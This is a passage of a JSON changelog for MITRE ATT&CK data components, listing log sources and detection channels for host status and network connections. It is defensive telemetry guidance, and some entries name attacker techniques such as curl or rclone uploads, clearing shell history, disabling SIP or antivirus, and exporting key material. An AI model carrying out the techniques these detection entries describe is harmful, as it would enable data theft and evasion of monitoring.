\"auditd:EXECVE\", \"channel\": \"Execution of chattr to set +i or +a attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or setfile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"mv, rename, or chmod commands moving VM files into hidden directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution + payload hints\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events.command_line\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn, process:exec\"}, {\"name\": \"esxi:vobd\", \"channel\": \"shell session start\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"shell command\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Office application warning or alert on macro execution from template\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation\"}, {\"name\": \"m365:office\", \"channel\": \"Execution of unsigned macro from template\"}, {\"name\": \"linux:cli\", \"channel\": \"Terminal Command History\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"csrutil disable\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log show --predicate 'process == '\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privilege-level command execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, or openssl with output redirection\"}, {\"name\": \"saas:PRMetadata\", \"channel\": \"Commit message or branch name contains encoded strings or payload indicators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context\"}, {\"name\": \"esxi:shell\", \"channel\": \"`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Unexpected restarts of management agents or shell access\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl or wget with POST/PUT options\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Detected CLI command to export key material\"}, {\"name\": \"networkdevice:config\", \"channel\": \"PKI export or certificate manipulation commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command execution triggered by emond (e.g., shell, curl, python)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli, vim-cmd invocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI session activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve=/sbin/shutdown or /sbin/reboot\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system shutdown or reboot invoked\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"reload command issued\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103, 4104\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration\"}, {\"name\": \"vpxd.log\", \"channel\": \"VM inventory queries and configuration enumeration through vCenter API calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying HISTFILE or HISTCONTROL via unset/export\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Set or unset HIST* variables in shell environment\"}, {\"name\": \"esxi:shell\", \"channel\": \"unset HISTFILE or HISTFILESIZE modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Commands like 'no logging' or equivalents that disable session history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to /usr/bin/locale or shell execution of $LANG\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale or systemsetup -gettimezone\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -T, rclone copy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start/modify\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load/unload or plist file modification\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"syslog facility LOCAL7 or trap messages\"}, {\"name\": \"linux:cli\", \"channel\": \"/home/*/.bash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of lsmod, modinfo, or cat /proc/modules\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl . -create\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"vCenter Management\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.849000+00:00\", \"old_value\": \"2025-04-18 15:11:30.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:37.544000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0018", + "external_id": "DC0018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Host Status", + "description": "Logging, messaging, and other artifacts that highlight the health and operational state of host-based security sensors, such as Endpoint Detection and Response (EDR) agents, antivirus software, logging services, and system monitoring tools. Monitoring sensor health is essential for detecting misconfigurations, sensor failures, tampering, or deliberate security control evasion by adversaries.\n\n*Data Collection Measures:*\n\n- Windows Event Logs:\n - Event ID 1074 (System Shutdown): Detects unexpected system reboots/shutdowns.\n - Event ID 6006 (Event Log Stopped): Logs when Windows event logging is stopped.\n - Event ID 16 (Sysmon): Detects configuration state changes that may indicate log tampering.\n - Event ID 12 (Windows Defender Status Change) \u2013 Detects changes in Windows Defender state.\n- Linux/macOS Monitoring:\n - `/var/log/syslog`, `/var/log/auth.log`, `/var/log/kern.log`\n - Journald (journalctl) for kernel and system alerts.\n- Endpoint Detection and Response (EDR) Tools:\n - Monitor agent health status, detect sensor tampering, and alert on missing telemetry.\n- Mobile Threat Intelligence Logs:\n - Samsung Knox, SafetyNet, iOS Secure Enclave provide sensor health status for mobile endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Sensor Health", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "interface_details " + }, + { + "name": "Windows:perfmon", + "channel": "Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)" + }, + { + "name": "macos:unifiedlog", + "channel": "Web service process (e.g., httpd) entering crash loop or consuming excessive CPU" + }, + { + "name": "AWS:CloudWatch", + "channel": "Sustained spike in CPU usage on EC2 instance with web service role" + }, + { + "name": "WinEventLog:System", + "channel": "System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations" + }, + { + "name": "linux:syslog", + "channel": "Out of memory killer invoked or kernel panic entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Spike in CPU or memory use from non-user-initiated processes" + }, + { + "name": "AWS:CloudWatch", + "channel": "StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)" + }, + { + "name": "kubernetes:events", + "channel": "CrashLoopBackOff, OOMKilled, container restart count exceeds threshold" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=16" + }, + { + "name": "Windows:perfmon", + "channel": "High sustained CPU usage by a single process" + }, + { + "name": "linux:procfs", + "channel": "Sustained high /proc/[pid]/stat usage" + }, + { + "name": "CloudWatch:Metrics", + "channel": "Sustained EC2 CPU usage above normal baseline" + }, + { + "name": "prometheus:metrics", + "channel": "Container CPU/Memory usage exceeding threshold" + }, + { + "name": "linux:syslog", + "channel": "Service stop or disable messages for security tools not reflected in SIEM alerts" + }, + { + "name": "macos:unifiedlog", + "channel": "Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons" + }, + { + "name": "CloudWatch:InstanceMetrics", + "channel": "NetworkOut spike beyond baseline" + }, + { + "name": "WinEventLog:Microsoft-Windows-TCPIP", + "channel": "Connection queue overflow or failure to allocate TCP state object" + }, + { + "name": "NSM:Flow", + "channel": "TCP: possible SYN flood or backlog limit exceeded" + }, + { + "name": "macos:unifiedlog", + "channel": "network stack resource exhaustion, tcp_accept queue overflow, repeated resets" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1166, 7045" + }, + { + "name": "auditd:SYSCALL", + "channel": "firmware_update, kexec_load" + }, + { + "name": "journald:boot", + "channel": "Secure Boot failure, firmware version change" + }, + { + "name": "macos:unifiedlog", + "channel": "EFI firmware integrity check failed" + }, + { + "name": "macos:syslog", + "channel": "Hardware UUID or device list drift" + }, + { + "name": "Windows:perfmon", + "channel": "Sudden spike in outbound throughput without corresponding inbound traffic" + }, + { + "name": "sar:network", + "channel": "Outbound network saturation with minimal process activity" + }, + { + "name": "AWS:CloudWatch", + "channel": "Sudden spike in network output without a corresponding inbound request ratio" + }, + { + "name": "Windows:perfmon", + "channel": "Sudden spikes in CPU/Memory usage linked to specific application processes" + }, + { + "name": "CloudMetrics:InstanceHealth", + "channel": "Autoscaling, memory/cpu alarms, or instance unhealthiness" + }, + { + "name": "macos:unifiedlog", + "channel": "System Integrity Protection (SIP) state reported as disabled" + }, + { + "name": "AWS:CloudWatch", + "channel": "Unusual CPU burst or metric anomalies" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1074" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=6006" + }, + { + "name": "linux:syslog", + "channel": "system is powering down" + }, + { + "name": "macos:unifiedlog", + "channel": "System shutdown or reboot requested" + }, + { + "name": "esxi:hostd", + "channel": "Powering off or restarting host" + }, + { + "name": "networkdevice:syslog", + "channel": "System reboot scheduled or performed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0018\", \"external_id\": \"DC0018\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Sensor Health\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"interface_details \"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web service process (e.g., httpd) entering crash loop or consuming excessive CPU\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Sustained spike in CPU usage on EC2 instance with web service role\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations\"}, {\"name\": \"linux:syslog\", \"channel\": \"Out of memory killer invoked or kernel panic entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Spike in CPU or memory use from non-user-initiated processes\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)\"}, {\"name\": \"kubernetes:events\", \"channel\": \"CrashLoopBackOff, OOMKilled, container restart count exceeds threshold\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=16\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"High sustained CPU usage by a single process\"}, {\"name\": \"linux:procfs\", \"channel\": \"Sustained high /proc/[pid]/stat usage\"}, {\"name\": \"CloudWatch:Metrics\", \"channel\": \"Sustained EC2 CPU usage above normal baseline\"}, {\"name\": \"prometheus:metrics\", \"channel\": \"Container CPU/Memory usage exceeding threshold\"}, {\"name\": \"linux:syslog\", \"channel\": \"Service stop or disable messages for security tools not reflected in SIEM alerts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons\"}, {\"name\": \"CloudWatch:InstanceMetrics\", \"channel\": \"NetworkOut spike beyond baseline\"}, {\"name\": \"WinEventLog:Microsoft-Windows-TCPIP\", \"channel\": \"Connection queue overflow or failure to allocate TCP state object\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP: possible SYN flood or backlog limit exceeded\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network stack resource exhaustion, tcp_accept queue overflow, repeated resets\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1166, 7045\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"firmware_update, kexec_load\"}, {\"name\": \"journald:boot\", \"channel\": \"Secure Boot failure, firmware version change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"EFI firmware integrity check failed\"}, {\"name\": \"macos:syslog\", \"channel\": \"Hardware UUID or device list drift\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sudden spike in outbound throughput without corresponding inbound traffic\"}, {\"name\": \"sar:network\", \"channel\": \"Outbound network saturation with minimal process activity\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Sudden spike in network output without a corresponding inbound request ratio\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sudden spikes in CPU/Memory usage linked to specific application processes\"}, {\"name\": \"CloudMetrics:InstanceHealth\", \"channel\": \"Autoscaling, memory/cpu alarms, or instance unhealthiness\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System Integrity Protection (SIP) state reported as disabled\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Unusual CPU burst or metric anomalies\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1074\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=6006\"}, {\"name\": \"linux:syslog\", \"channel\": \"system is powering down\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System shutdown or reboot requested\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Powering off or restarting host\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"System reboot scheduled or performed\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.544000+00:00\", \"old_value\": \"2025-04-18 15:16:18.582000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 19:59:42.141000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0113", + "external_id": "DC0113" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Communication", + "description": "Network requests made by an application or domains contacted", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0113\", \"external_id\": \"DC0113\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Vetting\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:21.724000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.190000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0082", + "external_id": "DC0082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Connection Creation", + "description": "The initial establishment of a network session, where a system or process initiates a connection to a local or remote endpoint. This typically involves capturing socket information (source/destination IP, ports, protocol) and tracking session metadata. Monitoring these events helps detect lateral movement, exfiltration, and command-and-control (C2) activities.\n\n*Data Collection Measures:*\n\n- Windows:\n - Event ID 5156 \u2013 Filtering Platform Connection - Logs network connections permitted by Windows Filtering Platform (WFP).\n - Sysmon Event ID 3 \u2013 Network Connection Initiated - Captures process, source/destination IP, ports, and parent process.\n- Linux/macOS:\n - Netfilter (iptables), nftables logs - Tracks incoming and outgoing network connections.\n - AuditD (`connect` syscall) - Logs TCP, UDP, and ICMP connections.\n - Zeek (`conn.log`) - Captures protocol, duration, and bytes transferred.\n- Cloud & Network Infrastructure:\n - AWS VPC Flow Logs / Azure NSG Flow Logs - Logs IP traffic at the network level in cloud environments.\n - Zeek (conn.log) or Suricata (network events) - Captures packet metadata for detection and correlation.\n- Endpoint Detection & Response (EDR):\n - Detect anomalous network activity such as new C2 connections or data exfiltration attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connection to 169.254.169.254 from EC2 workload" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:unifiedlog", + "channel": "connection attempts" + }, + { + "name": "esxi:hostd", + "channel": "System service interactions" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "name": "NSM:Connections", + "channel": "web domain alerts" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "name": "auditd:SYSCALL", + "channel": "netconnect" + }, + { + "name": "macos:osquery", + "channel": "process_events/socket_events" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "connection open" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline" + }, + { + "name": "NSM:Flow", + "channel": "New TCP/443 or TCP/80 to domain not previously seen for the user/host" + }, + { + "name": "NSM:Connections", + "channel": "New outbound connection from Safari/Chrome/Firefox/Word" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect" + }, + { + "name": "macos:osquery", + "channel": "execution of trusted tools interacting with external endpoints" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "WinEventLog:Microsoft-Windows-Bits-Client/Operational", + "channel": "BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields" + }, + { + "name": "NSM:Firewall", + "channel": "proxy or TLS inspection logs" + }, + { + "name": "macos:unifiedlog", + "channel": "network connection events" + }, + { + "name": "esxi:vmkernel", + "channel": "protocol egress" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms" + }, + { + "name": "NSM:Flow", + "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com" + }, + { + "name": "NSM:Flow", + "channel": "HTTPs connection to tunnels.api.visualstudio.com" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156,5157" + }, + { + "name": "linux:osquery", + "channel": "family=AF_PACKET or protocol raw; process name not in allowlist." + }, + { + "name": "macos:unifiedlog", + "channel": "First outbound connection from the same PID/user shortly after an inbound trigger." + }, + { + "name": "NSM:Flow", + "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries" + }, + { + "name": "NSM:Connections", + "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports" + }, + { + "name": "NSM:Flow", + "channel": "connection: TCP connections to ports 139/445 to multiple hosts" + }, + { + "name": "NSM:Flow", + "channel": "connection: SMB connections to multiple internal hosts" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect/sendto" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CONNECT" + }, + { + "name": "snmp:access", + "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters" + }, + { + "name": "esxi:hostd", + "channel": "Service initiated connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large transfer volume (>20MB) from RDS IP range to external public IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High outbound traffic from new region resource" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S initiated by newly installed interpreter process" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections to RMM services or to unusual destination ports" + }, + { + "name": "macos:unifiedlog", + "channel": "network sessions initiated by remote desktop apps" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connections to port 22, 3389" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect with TLS context by unexpected process" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port." + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: New bind() to a previously closed port shortly after the sequence." + }, + { + "name": "NSM:Flow", + "channel": "Sequence of REJ/S0 then SF success from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change" + }, + { + "name": "cni:netflow", + "channel": "outbound connection to internal or external APIs" + }, + { + "name": "macos:osquery", + "channel": "launchd or network_events" + }, + { + "name": "networkdevice:syslog", + "channel": "Dynamic route changes" + }, + { + "name": "NSM:Flow", + "channel": "New egress to Internet by the same UID/host shortly after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "connection: Inbound connections to SSH or VPN ports" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound connections to VNC/SSH ports" + }, + { + "name": "NSM:Flow", + "channel": "External access to container ports (2375, 6443)" + }, + { + "name": "linux:syslog", + "channel": "network" + }, + { + "name": "macos:osquery", + "channel": "process_events + launchd" + }, + { + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log or /var/log/vmksummary.log" + }, + { + "name": "ebpf:syscalls", + "channel": "socket connect" + }, + { + "name": "NSM:Flow", + "channel": "remote access" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "network" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic observed on mirror destination instance" + }, + { + "name": "networkdevice:Flow", + "channel": "Traffic from mirrored interface to mirror target IP" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:osquery", + "channel": "process_events, socket_events" + }, + { + "name": "esxi:vmkernel", + "channel": "network activity" + }, + { + "name": "NSM:Flow", + "channel": "connection attempts" + }, + { + "name": "NSM:Flow", + "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs" + }, + { + "name": "auditd:SYSCALL", + "channel": "sendto/connect" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections from host during or immediately after image build" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound Traffic" + }, + { + "name": "esxi:hostd", + "channel": "Service-Based Network Connection" + }, + { + "name": "linux:syslog", + "channel": "postfix/smtpd" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from browser/office lineage" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from exploited lineage" + }, + { + "name": "macos:osquery", + "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains" + }, + { + "name": "auditd:SYSCALL", + "channel": "outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or socket" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream network activity" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: Process binds to a new local port shortly after knock" + }, + { + "name": "NSM:Flow", + "channel": "Closed-port hits followed by success from same src_ip" + }, + { + "name": "NSM:Flow", + "channel": "Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock" + }, + { + "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig", + "channel": "8001, 8002, 8003" + }, + { + "name": "linux:syslog", + "channel": "New Wi-Fi connection established or repeated association failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Association and authentication events including failures and new SSIDs" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports" + }, + { + "name": "esxi:vmkernel", + "channel": "network session initiation with external HTTPS services" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=8001" + }, + { + "name": "linux:syslog", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat,connect -k discovery" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected inbound/outbound TFTP traffic for device image files" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0082\", \"external_id\": \"DC0082\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connection to 169.254.169.254 from EC2 workload\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection attempts\"}, {\"name\": \"esxi:hostd\", \"channel\": \"System service interactions\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3, 22\"}, {\"name\": \"NSM:Connections\", \"channel\": \"web domain alerts\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"netconnect\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events/socket_events\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New TCP/443 or TCP/80 to domain not previously seen for the user/host\"}, {\"name\": \"NSM:Connections\", \"channel\": \"New outbound connection from Safari/Chrome/Firefox/Word\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect\"}, {\"name\": \"macos:osquery\", \"channel\": \"execution of trusted tools interacting with external endpoints\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Bits-Client/Operational\", \"channel\": \"BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"proxy or 